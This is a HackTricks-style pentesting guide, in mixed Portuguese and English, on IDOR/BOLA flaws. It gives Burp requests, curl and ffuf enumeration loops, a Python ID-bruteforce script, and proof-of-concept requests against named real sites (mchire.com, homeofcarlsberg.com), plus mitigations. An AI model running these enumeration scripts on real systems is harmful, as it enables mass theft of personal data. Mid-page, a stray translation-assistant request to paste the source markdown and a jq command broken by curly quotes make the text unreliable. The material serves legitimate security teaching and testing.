IDOR (Insecure Direct Object Reference)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou de API divulga ou aceita um identificador controlável pelo usuário que é usado diretamente para acessar um objeto interno sem verificar que o caller está autorizado a acessar/modificar esse objeto. A exploração bem‑sucedida normalmente permite horizontal or vertical privilege-escalation, como ler ou modificar os dados de outros usuários e, no pior caso, full account takeover ou mass-data exfiltration.


1. Identificando Potenciais IDORs

  1. Procure parâmetros que referenciam um objeto:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Prefira endpoints que leem ou atualizam dados (GET, PUT, PATCH, DELETE).
  2. Observe quando os identificadores são sequenciais ou previsíveis – se seu ID é 64185742, então 64185741 provavelmente existe.
  3. Explore fluxos ocultos ou alternativos (por exemplo, o link “Paradox team members” em páginas de login) que possam expor APIs adicionais.
  4. Use uma sessão autenticada com poucos privilégios e altere apenas o ID mantendo o mesmo token/cookie. A ausência de um erro de autorização costuma ser um indicativo de IDOR.

Manipulação manual rápida (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumeração automatizada (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerando IDs de download previsíveis (ffuf)

Painéis de hospedagem de arquivos autenticados frequentemente armazenam metadados por usuário em uma única tabela files e expõem um endpoint de download como /download.php?id=<int>. Se o handler apenas verifica se o ID existe (e não se pertence ao usuário autenticado), você pode varrer o espaço de inteiros com seu session cookie válido e roubar backups/configs de outros tenants:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr remove templates estilo 404 para que apenas hits verdadeiros permaneçam (por exemplo, IDs 54/150 leaking full site backups and signing material).
  • O mesmo workflow do FFUF funciona com Burp Intruder ou um curl loop — apenas garanta que você permaneça autenticado enquanto incrementa os IDs.

Enumeração combinatória autenticada (ffuf + jq)

Alguns IDORs aceitam multiple object IDs (por exemplo, chat threads entre dois usuários). Se o app apenas verifica que você está logado, você pode fuzz ambos os IDs mantendo seu session cookie:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

Por favor, cole aqui o conteúdo de src/pentesting-web/idor.md (markdown) que quer que eu traduza para português.

Enquanto isso, para pós-processar um JSON contendo uma lista de pares e remover duplicatas simétricas (A,B vs B,A) mantendo apenas a primeira ocorrência de cada par, use este filtro jq:

jq ‘reduce .[] as $p ( {seen: {}, out: []}; ( ($p|sort|@csv) as $k) | if .seen[$k] then . else .seen[$k]=true | .out += [$p] end ) | .out’

Breve explicação: cada par é ordenado para criar uma chave canônica ($p|sort|@csv); a tabela seen evita duplicatas e .out acumula apenas a primeira ocorrência de cada par.

jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Error-response oracle for user/file enumeration

Quando um endpoint de download aceita tanto um username quanto um filename (e.g. /view.php?username=<u>&file=<f>), diferenças sutis nas mensagens de erro frequentemente criam um oracle:

  • username inexistente → “User not found”
  • filename inválido mas com extensão válida → “File does not exist” (às vezes também lista arquivos disponíveis)
  • extensão inválida → erro de validação

Com qualquer sessão autenticada, você pode fuzz o parâmetro username enquanto mantém um filename benigno e filtrar pela string “user not found” para descobrir usuários válidos:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Uma vez que nomes de usuário válidos são identificados, solicite arquivos específicos diretamente (por exemplo, /view.php?username=amanda&file=privacy.odt). Esse padrão normalmente leva à divulgação não autorizada de documentos de outros usuários e credential leakage.


2. Estudo de Caso Real – McHire Chatbot Platform (2025)

Durante uma avaliação do portal de recrutamento McHire alimentado pelo Paradox.ai, o seguinte IDOR foi descoberto:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie de sessão de usuário para qualquer conta de teste de restaurante
  • Body parameter: {"lead_id": N} – identificador numérico de 8 dígitos, sequencial

Ao diminuir lead_id, o testador recuperou PII completo de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno), além de um JWT do consumidor que permitiu session hijacking. A enumeração do intervalo 1 – 64,185,742 expôs aproximadamente 64 milhões de registros.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinada com as default admin credentials (123456:123456) que deram acesso à conta de teste, a vulnerabilidade resultou em uma violação crítica de dados em toda a empresa.

Estudo de Caso – Pulseiras com QR codes como weak bearer tokens (2025–2026)

Flow: Visitantes da exposição receberam pulseiras com QR code; ao escanear https://homeofcarlsberg.com/memories/ o navegador pegava o printed wristband ID, hex-encodeava-o e chamava um backend em cloudfunctions.net para buscar a mídia armazenada (fotos/vídeos + nomes). Não havia no session binding nem autenticação de usuário—knowledge of the ID = authorization.

Predictability: Wristband IDs seguiam um padrão curto como C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). O espaço de chaves foi estimado em ~26M combinações, trivial de esgotar online.

Exploitation workflow with Burp Intruder:

  1. Payload generation: Build candidate IDs (e.g., [A-Z]-###-###). Use a Burp Intruder Pitchfork or Cluster Bomb attack with positions for the letter and digits. Add a payload processing rule → Add prefix/suffix → payload encoding: ASCII hex so each request transmits the hex string expected by the backend.
  2. Response grep: Mark Intruder grep-match for markers present only in valid responses (e.g., media URLs/JSON fields). Invalid IDs typically returned an empty array/404.
  3. Throughput measurement: ~1,000,000 IDs were tested in ~2 hours from a laptop (~139 req/s). At that rate the full keyspace (~26M) would fall in ~52 hours. The sample run already exposed ~500 valid wristbands (videos + full names).
  4. Rate-limiting verification: After the vendor claimed throttling, rerun the same Intruder config. Identical throughput/hit-rate proved the control was absent/ineffective; enumeration continued unhindered.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lesson: Encoding (ASCII→hex/Base64) does not add entropy; short IDs become bearer tokens that are enumerable despite cosmetic encoding. Without per-user authorization + high-entropy secrets, media/PII can be bulk-harvested even if “rate limiting” is claimed.


3. Impact of IDOR / BOLA

  • Escalada horizontal – ler/atualizar/deletar os dados de outros usuários.
  • Escalada vertical – usuário de baixa privilégio ganha funcionalidade apenas para admin.
  • Violação massiva de dados se os identificadores forem sequenciais (por exemplo, applicant IDs, invoices).
  • Account takeover ao roubar tokens ou resetar senhas de outros usuários.

4. Mitigations & Best Practices

  1. Enforce object-level authorization em cada request (user_id == session.user).
  2. Prefira indirect, unguessable identifiers (UUIDv4, ULID) em vez de IDs auto-incrementais.
  3. Perform authorization server-side, nunca dependa de hidden form fields ou UI controls.
  4. Implemente verificações RBAC / ABAC em um middleware central.
  5. Adicione rate-limiting & logging para detectar enumeração de IDs.
  6. Teste de segurança todo novo endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks